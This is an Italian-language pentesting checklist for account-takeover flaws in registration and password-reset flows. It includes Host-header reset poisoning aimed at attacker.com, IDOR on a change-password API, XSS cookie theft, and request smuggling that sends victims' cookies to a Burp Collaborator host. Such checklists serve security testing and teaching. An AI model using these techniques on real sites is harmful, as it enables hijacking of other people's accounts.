Registration & Takeover Vulnerabilities
Presa di Controllo della Registrazione
Registrazione Duplicata
Prova a generare utilizzando un nome utente esistente
Controlla variando l'email:
maiuscole
+1@
aggiungi qualche punto nell'email
caratteri speciali nel nome dell'email (%00, %09, %20)
Metti caratteri neri dopo l'email:
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Enumerazione degli Username
Controlla se riesci a capire quando un nome utente è già stato registrato all'interno dell'applicazione.
Politica delle Password
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli). In tal caso potresti provare a bruteforza le credenziali.
SQL Injection
Controlla questa pagina per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite SQL Injections nei moduli di registrazione.
Oauth Takeovers
OAuth to Account takeoverVulnerabilità SAML
SAML AttacksCambia Email
Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente validato o se puoi cambiarlo in email arbitrarie.
Ulteriori Controlli
Controlla se puoi usare email usa e getta
Password Lunghe (>200) portano a DoS
Controlla i limiti di velocità sulla creazione degli account
Usa username@burp_collab.net e analizza il callback
Presa di Controllo del Reset della Password
Leak del Token di Reset della Password Via Referrer
Richiedi il reset della password al tuo indirizzo email
Clicca sul link di reset della password
Non cambiare la password
Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
Intercetta la richiesta nel proxy di Burp Suite
Controlla se l'intestazione referer sta rivelando il token di reset della password.
Avvelenamento del Reset della Password
Intercetta la richiesta di reset della password in Burp Suite
Aggiungi o modifica le seguenti intestazioni in Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
Inoltra la richiesta con l'intestazione modificata
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
Cerca un URL di reset della password basato sull'intestazione host come:
https://attacker.com/reset-password.php?token=TOKEN
Reset della Password Via Parametro Email
IDOR su Parametri API
L'attaccante deve accedere con il proprio account e andare alla funzione Cambia password.
Avviare Burp Suite e intercettare la richiesta.
Inviarla alla scheda ripetitore e modificare i parametri: ID utente/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token di Reset Password Debole
Il token di reset della password dovrebbe essere generato casualmente e unico ogni volta. Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi, l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.
Timestamp
UserID
Email dell'utente
Nome e Cognome
Data di Nascita
Criptografia
Solo numeri
Sequenza di token piccola (caratteri tra [A-Z,a-z,0-9])
Riutilizzo del token
Data di scadenza del token
Token di Reset Password in Fuga
Attiva una richiesta di reset della password utilizzando l'API/UI per un'email specifica, ad es: test@mail.com
Ispeziona la risposta del server e controlla per
resetToken
Quindi utilizza il token in un URL come
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Reset della Password Tramite Collisione di Nome Utente
Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente. ad es:
"admin "
Richiedi un reset della password con il tuo nome utente malevolo.
Usa il token inviato alla tua email e reimposta la password della vittima.
Connettiti all'account della vittima con la nuova password.
La piattaforma CTFd era vulnerabile a questo attacco. Vedi: CVE-2020-7245
Presa di Controllo dell'Account Tramite Cross Site Scripting
Trova un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale:
*.domain.com
Fuga il cookie delle sessioni attuali.
Autenticati come utente utilizzando il cookie.
Presa di Controllo dell'Account Tramite HTTP Request Smuggling
1. Usa smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crea una richiesta che sovrascriverà il POST / HTTP/1.1
con i seguenti dati:
GET http://something.burpcollaborator.net HTTP/1.1 X:
con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie.
3. La richiesta finale potrebbe apparire come segue
Hackerone riporta l'esploitazione di questo bug * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
Presa di Controllo dell'Account tramite CSRF
Crea un payload per il CSRF, ad esempio: “Modulo HTML con invio automatico per un cambio password”
Invia il payload
Presa di Controllo dell'Account tramite JWT
Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.
Modifica il JWT con un altro ID Utente / Email
Controlla la firma JWT debole
Riferimenti
Last updated